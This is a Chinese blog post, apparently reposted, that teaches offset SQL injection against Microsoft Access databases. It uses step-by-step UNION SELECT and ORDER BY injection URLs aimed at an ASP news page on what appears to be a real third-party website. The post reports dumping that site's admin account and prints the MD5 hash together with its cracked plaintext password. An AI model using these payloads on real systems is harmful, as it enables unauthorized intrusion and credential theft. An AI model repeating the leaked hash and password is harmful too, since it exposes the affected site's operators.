Access数据库之偏移注入

时间:2023-01-13 20:12:28

/*转载请注明出处:珍惜少年时*/

偏移注入主要是针对知道表,但是不知道字段的。

这里我已经知道了表明是:sys_admin

可以使用:

select exists(selct * from sys_admin);

来猜测是否有sys_admin表,如果说存在的话页面就会显示正常。

00x1 判断字段数

http://www.test.com/newslist.asp?id=688 order by 19 #错误
http://www.test.com/newslist.asp?id=688 order by 18 #正确

00x2 爆出显示位

http://www.fdsp-reme.com/newslist.asp?id=688 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from sys_admin

Access数据库之偏移注入

00x3 判断表内存在的字段数

接下来我们利用“*”代替admin表内存在的字段,由于是18个字段数,需要逐步测试,直到返回正常。

http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from sys_admin  #错误
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from sys_admin #错误
http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from sys_admin #错误 直到.........
http://www.test.com/newslist.asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,* from sys_admin #正确

说明了sys_admin表下有11个字段。

偏移注入的基本公式为:

order by 出的字段数减去*号的字段数,然而再用order by的字段数减去2倍刚才得出来的答案

    也就是18-11=7

       18-7*2=4

得到答案等于:4

然后依旧是套公式的过程。

http://www.fdsp-reme.com/newslist.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id)

#这里union select 1,2,3,4:顾名思义就是刚才得出来的长度。
#后面的是sql,可作公式。

如此便爆出了账号密码。

但是我测试的这个网站,略微有点特殊。如下图所示

Access数据库之偏移注入

c7d062ba4138db9f顾名思义是md5加密。此md5解密出来得:fdspme

#注:有点题外话,偏移注入以上已经完成。

但下面的那个数字就有点让人懊恼了。

我说他是ASCII码,你信吗?最关键的是我也不敢说他是ASCII码

66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 53

一刚开始一眼看下去是ASCII编码,便兴匆匆的一个个解密了。解密出来是:BA@?>=<;:98763

心中感慨不已,居然那么难。然而居然是错的。以为是雷池加密,再用雷池解密一下,也还是错的。但是大家有没有注意到。数字!

好有顺序。

Access数据库之偏移注入

THE END